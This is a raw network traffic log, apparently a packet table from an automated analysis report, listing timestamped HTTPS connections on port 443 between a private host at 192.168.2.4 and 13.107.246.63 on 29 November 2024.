Nov 29, 2024 23:11:45.878861904 CET	49878	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.878870964 CET	443	49878	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.932686090 CET	443	49876	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.933190107 CET	49876	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.933198929 CET	443	49876	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:45.933609009 CET	49876	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:45.933614016 CET	443	49876	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:46.183928013 CET	443	49865	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:46.186996937 CET	443	49865	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:46.187061071 CET	49865	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:46.187098026 CET	49865	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:46.187108994 CET	443	49865	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:46.187119007 CET	49865	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:46.187123060 CET	443	49865	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:46.189678907 CET	49879	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:46.189716101 CET	443	49879	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:46.189800978 CET	49879	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:46.189944029 CET	49879	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:46.189958096 CET	443	49879	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:46.377326012 CET	443	49876	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:46.380259991 CET	443	49876	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:46.380314112 CET	49876	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:46.380325079 CET	443	49876	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:46.380383015 CET	443	49876	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:46.380408049 CET	49876	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:46.380424023 CET	443	49876	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:46.380435944 CET	49876	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:46.380435944 CET	49876	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:46.380441904 CET	443	49876	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:46.380449057 CET	443	49876	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:46.382395029 CET	49880	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:46.382414103 CET	443	49880	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:46.382477045 CET	49880	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:46.382589102 CET	49880	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:46.382599115 CET	443	49880	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:47.165855885 CET	443	49877	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:47.166361094 CET	49877	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:47.166389942 CET	443	49877	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:47.166831970 CET	49877	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:47.166838884 CET	443	49877	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:47.594544888 CET	443	49878	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:47.595007896 CET	49878	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:47.595024109 CET	443	49878	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:47.595447063 CET	49878	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:47.595451117 CET	443	49878	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:47.602240086 CET	443	49877	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:47.605520010 CET	443	49877	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:47.605581045 CET	49877	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:47.605614901 CET	49877	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:47.605633020 CET	443	49877	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:47.605643034 CET	49877	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:47.605648041 CET	443	49877	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:47.608262062 CET	49881	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:47.608313084 CET	443	49881	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:47.608387947 CET	49881	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:47.608529091 CET	49881	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:47.608546019 CET	443	49881	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.030597925 CET	443	49878	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.033976078 CET	443	49878	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.034050941 CET	49878	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.034090996 CET	49878	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.034102917 CET	443	49878	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.034126997 CET	49878	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.034135103 CET	443	49878	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.036639929 CET	49882	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.036664009 CET	443	49882	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.036736012 CET	49882	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.036863089 CET	49882	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.036871910 CET	443	49882	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.125987053 CET	443	49879	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.126348019 CET	49879	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.126379013 CET	443	49879	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.126863956 CET	49879	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.126868963 CET	443	49879	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.232103109 CET	443	49880	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.232419968 CET	49880	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.232430935 CET	443	49880	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.232827902 CET	49880	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.232832909 CET	443	49880	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.579582930 CET	443	49879	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.582612038 CET	443	49879	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.582693100 CET	49879	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.582725048 CET	49879	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.582740068 CET	443	49879	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.582748890 CET	49879	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.582753897 CET	443	49879	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.585059881 CET	49883	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.585102081 CET	443	49883	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.585182905 CET	49883	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.585305929 CET	49883	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.585321903 CET	443	49883	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.687844992 CET	443	49880	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.691024065 CET	443	49880	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.691076040 CET	49880	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.691087008 CET	443	49880	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.691098928 CET	443	49880	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.691165924 CET	49880	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.691200018 CET	49880	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.691210032 CET	443	49880	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.691219091 CET	49880	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.691224098 CET	443	49880	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.693664074 CET	49884	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.693697929 CET	443	49884	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:48.693778992 CET	49884	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.693902016 CET	49884	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:48.693912029 CET	443	49884	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.247963905 CET	443	49873	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.248106956 CET	443	49873	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.248163939 CET	49873	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:49.248276949 CET	49873	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:49.248301983 CET	443	49873	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.248311996 CET	49873	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:49.248318911 CET	443	49873	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.250978947 CET	49885	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:49.251009941 CET	443	49885	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.251095057 CET	49885	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:49.251250029 CET	49885	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:49.251261950 CET	443	49885	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.405778885 CET	443	49881	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.406243086 CET	49881	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:49.406270981 CET	443	49881	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.406681061 CET	49881	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:49.406687975 CET	443	49881	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.752911091 CET	443	49882	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.753371954 CET	49882	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:49.753386021 CET	443	49882	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.753814936 CET	49882	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:49.753823042 CET	443	49882	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.841878891 CET	443	49881	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.849256039 CET	443	49881	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.849313974 CET	49881	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:49.849349976 CET	49881	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:49.849370956 CET	443	49881	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.849401951 CET	49881	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:49.849407911 CET	443	49881	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.851779938 CET	49886	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:49.851809025 CET	443	49886	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:49.851876020 CET	49886	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:49.851990938 CET	49886	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:49.852001905 CET	443	49886	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.187397957 CET	443	49882	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.191324949 CET	443	49882	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.191390038 CET	49882	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:50.191428900 CET	49882	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:50.191440105 CET	443	49882	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.191447973 CET	49882	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:50.191452026 CET	443	49882	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.193810940 CET	49887	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:50.193830013 CET	443	49887	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.193898916 CET	49887	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:50.194031954 CET	49887	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:50.194042921 CET	443	49887	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.483916044 CET	443	49884	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.484460115 CET	49884	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:50.484474897 CET	443	49884	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.484904051 CET	49884	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:50.484909058 CET	443	49884	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.926911116 CET	443	49884	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.930522919 CET	443	49884	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.930591106 CET	49884	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:50.930604935 CET	443	49884	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.930640936 CET	443	49884	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.930690050 CET	49884	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:50.930712938 CET	49884	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:50.930721045 CET	443	49884	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.930733919 CET	49884	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:50.930737019 CET	443	49884	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.933196068 CET	49888	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:50.933218956 CET	443	49888	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:50.933283091 CET	49888	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:50.933419943 CET	49888	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:50.933432102 CET	443	49888	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:51.041380882 CET	443	49885	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:51.041790009 CET	49885	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:51.041812897 CET	443	49885	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:51.042203903 CET	49885	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:51.042207956 CET	443	49885	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:51.491101027 CET	443	49885	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:51.494282007 CET	443	49885	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:51.494333029 CET	49885	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:51.494383097 CET	49885	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:51.494395018 CET	443	49885	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:51.494404078 CET	49885	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:51.494407892 CET	443	49885	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:51.496613979 CET	49889	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:51.496645927 CET	443	49889	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:51.496720076 CET	49889	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:51.496851921 CET	49889	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:51.496866941 CET	443	49889	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:51.703244925 CET	443	49886	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:51.716465950 CET	49886	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:51.716479063 CET	443	49886	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:51.716872931 CET	49886	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:51.716877937 CET	443	49886	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:51.975958109 CET	443	49887	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:51.976409912 CET	49887	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:51.976430893 CET	443	49887	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:51.976861000 CET	49887	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:51.976866961 CET	443	49887	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.054523945 CET	443	49883	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.054948092 CET	49883	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.054982901 CET	443	49883	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.055342913 CET	49883	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.055347919 CET	443	49883	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.157058001 CET	443	49886	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.160245895 CET	443	49886	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.160281897 CET	443	49886	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.160312891 CET	49886	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.160346985 CET	49886	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.160412073 CET	49886	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.160423994 CET	443	49886	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.160461903 CET	49886	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.160466909 CET	443	49886	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.162564039 CET	49890	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.162590027 CET	443	49890	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.162652016 CET	49890	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.162763119 CET	49890	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.162779093 CET	443	49890	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.420057058 CET	443	49887	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.423383951 CET	443	49887	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.423449993 CET	49887	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.469844103 CET	49887	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.469852924 CET	443	49887	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.469861984 CET	49887	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.469866037 CET	443	49887	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.507941008 CET	443	49883	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.507996082 CET	443	49883	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.508053064 CET	49883	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.526458979 CET	49883	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.526458979 CET	49883	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.526489973 CET	443	49883	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.526499987 CET	443	49883	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.528624058 CET	49891	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.528656006 CET	443	49891	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.528712988 CET	49891	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.529050112 CET	49891	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.529062986 CET	443	49891	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.531016111 CET	49892	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.531044960 CET	443	49892	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.531105042 CET	49892	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.531250954 CET	49892	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.531263113 CET	443	49892	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.720118999 CET	443	49888	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.720503092 CET	49888	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.720515966 CET	443	49888	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:52.720910072 CET	49888	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:52.720915079 CET	443	49888	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.164035082 CET	443	49888	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.167247057 CET	443	49888	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.167444944 CET	49888	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:53.167526960 CET	49888	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:53.167535067 CET	443	49888	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.167572021 CET	49888	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:53.167576075 CET	443	49888	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.170267105 CET	49893	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:53.170315027 CET	443	49893	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.170438051 CET	49893	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:53.170568943 CET	49893	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:53.170583010 CET	443	49893	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.278038979 CET	443	49889	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.278395891 CET	49889	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:53.278409004 CET	443	49889	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.278791904 CET	49889	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:53.278798103 CET	443	49889	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.751013994 CET	443	49889	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.751060963 CET	443	49889	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.751111031 CET	49889	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:53.751271009 CET	49889	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:53.751287937 CET	443	49889	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.751296997 CET	49889	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:53.751301050 CET	443	49889	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.754041910 CET	49894	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:53.754070044 CET	443	49894	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.754128933 CET	49894	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:53.754232883 CET	49894	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:53.754244089 CET	443	49894	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.971025944 CET	443	49890	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.971450090 CET	49890	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:53.971466064 CET	443	49890	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:53.971927881 CET	49890	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:53.971941948 CET	443	49890	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.276979923 CET	443	49892	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.277349949 CET	49892	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.277363062 CET	443	49892	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.277757883 CET	49892	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.277767897 CET	443	49892	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.310909033 CET	443	49891	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.311379910 CET	49891	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.311403990 CET	443	49891	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.311692953 CET	49891	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.311698914 CET	443	49891	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.416486025 CET	443	49890	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.420737028 CET	443	49890	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.420784950 CET	443	49890	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.420803070 CET	49890	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.420840025 CET	49890	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.420876026 CET	49890	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.420890093 CET	443	49890	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.420898914 CET	49890	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.420902967 CET	443	49890	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.423196077 CET	49895	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.423250914 CET	443	49895	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.423329115 CET	49895	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.423574924 CET	49895	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.423589945 CET	443	49895	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.713304043 CET	443	49892	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.717220068 CET	443	49892	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.717287064 CET	49892	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.717333078 CET	49892	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.717344046 CET	443	49892	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.717353106 CET	49892	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.717356920 CET	443	49892	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.719624043 CET	49896	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.719644070 CET	443	49896	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.719708920 CET	49896	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.719836950 CET	49896	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.719846964 CET	443	49896	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.756913900 CET	443	49891	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.756966114 CET	443	49891	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.757025957 CET	49891	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:54.891781092 CET	443	49893	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:54.939466953 CET	49893	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.002728939 CET	49891	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.002748013 CET	443	49891	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.002758026 CET	49891	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.002763033 CET	443	49891	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.003709078 CET	49893	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.003721952 CET	443	49893	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.004333973 CET	49893	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.004337072 CET	443	49893	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.011012077 CET	49897	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.011046886 CET	443	49897	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.011104107 CET	49897	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.012844086 CET	49897	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.012857914 CET	443	49897	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.326131105 CET	443	49893	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.329396009 CET	443	49893	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.329477072 CET	49893	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.329533100 CET	49893	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.329544067 CET	443	49893	13.107.246.63	192.168.2.4
